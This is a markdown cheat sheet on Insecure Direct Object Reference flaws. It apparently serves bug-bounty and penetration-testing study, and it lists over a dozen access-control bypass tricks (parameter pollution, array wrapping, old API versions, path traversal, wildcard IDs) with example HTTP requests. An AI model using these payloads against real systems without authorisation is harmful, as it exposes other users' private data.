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Insecure Direct Object References.md

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Insecure Direct Object Reference (IDOR)

Introduction

IDOR stands for Insecure Direct Object Reference is a security vulnerability in which a user is able to access and make changes to data of any other user present in the system.

Where to find

  • Usually it can be found in APIs.
  • Check the HTTP request that contain unique ID, for example user_id or id

How to exploit

  1. Add parameters onto the endpoints for example, if there was
GET /api/v1/getuser
[...]

Try this to bypass

GET /api/v1/getuser?id=1234
[...]
  1. HTTP Parameter pollution
POST /api/get_profile
[...]
user_id=hacker_id&user_id=victim_id
  1. Add .json to the endpoint
GET /v2/GetData/1234
[...]

Try this to bypass

GET /v2/GetData/1234.json
[...]
  1. Test on outdated API Versions
POST /v2/GetData
[...]
id=123

Try this to bypass

POST /v1/GetData
[...]
id=123
  1. Wrap the ID with an array.
POST /api/get_profile
[...]
{"user_id":111}

Try this to bypass

POST /api/get_profile
[...]
{"id":[111]}
  1. Wrap the ID with a JSON object
POST /api/get_profile
[...]
{"user_id":111}

Try this to bypass

POST /api/get_profile
[...]
{"user_id":{"user_id":111}}
  1. JSON Parameter Pollution
POST /api/get_profile
[...]
{"user_id":"hacker_id","user_id":"victim_id"}
  1. Try decode the ID, if the ID encoded using md5,base64,etc
GET /GetUser/dmljdGltQG1haWwuY29t
[...]

dmljdGltQG1haWwuY29t => victim@mail.com

  1. If the website using graphql, try to find IDOR using graphql!
GET /graphql
[...]

GET /graphql.php?query=
[...]
  1. MFLAC (Missing Function Level Access Control)
GET /admin/profile

Try this to bypass

GET /ADMIN/profile
  1. Try to swap uuid with number
GET /file?id=90ri2-xozifke-29ikedaw0d

Try this to bypass

GET /file?id=302
  1. Change HTTP Method
GET /api/v1/users/profile/111

Try this to bypass

POST /api/v1/users/profile/111
  1. Path traversal
GET /api/v1/users/profile/victim_id

Try this to bypass

GET /api/v1/users/profile/my_id/../victim_id
  1. Change request content type
Content-type: application/xml

Try this to bypass

Content-type: application/json
  1. Send wildcard instead of ID
GET /api/users/111

Try this to bypass

GET /api/users/*
  1. Try google dorking to find new endpoint

References